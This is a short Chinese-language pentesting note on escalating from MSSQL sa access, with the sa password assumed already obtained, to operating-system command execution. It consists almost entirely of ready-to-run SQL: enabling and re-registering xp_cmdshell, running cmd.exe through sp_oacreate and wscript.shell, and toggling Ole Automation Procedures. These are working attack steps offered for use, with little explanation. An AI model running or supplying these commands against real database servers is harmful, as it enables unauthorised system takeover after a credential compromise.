【笔记】MSSQL提权

前言

提升MSSQL管理员权限为系统Shell权限

xp_cmdshell

准备工作

  • 已经获取了MSSQL的sa用户密码
  • 包含sys.sp_cmdexec数据库,且已启用xp_cmdshell

执行CMD命令

<cmd>:CMD命令

1
EXEC master.dbo.xp_cmdshell '<cmd>'
1
EXEC master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

启用xp_cmdshell

1
2
3
4
EXEC sp_configure 'show advanced options', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1';
RECONFIGURE;

禁用xp_cmdshell

1
2
3
4
EXEC sp_configure 'show advanced options', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '0';
RECONFIGURE;

sp_oacreate

准备工作

  • 已经获取了MSSQL的sa用户密码
  • 包含sys.sp_OACreate数据库,且已启用Ole Automation Procedures

执行Shell命令

<shell>:CMD命令

1
DECLARE @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\windows\system32\cmd.exe /c <shell>'

启用Ole Automation Procedures

1
2
3
4
EXEC sp_configure 'show advanced options', '1';
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', '1';
RECONFIGURE WITH OVERRIDE;

禁用Ole Automation Procedures

1
2
3
4
EXEC sp_configure 'show advanced options', '1';
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', '0';
RECONFIGURE WITH OVERRIDE;

完成